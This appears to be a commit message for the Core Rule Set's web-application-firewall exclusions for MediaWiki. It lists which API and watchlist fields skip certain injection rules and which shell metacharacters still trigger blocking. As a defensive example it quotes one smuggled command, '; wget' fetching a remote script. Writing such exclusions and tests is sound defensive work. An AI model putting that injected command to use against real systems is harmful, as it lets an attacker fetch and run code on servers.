Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.
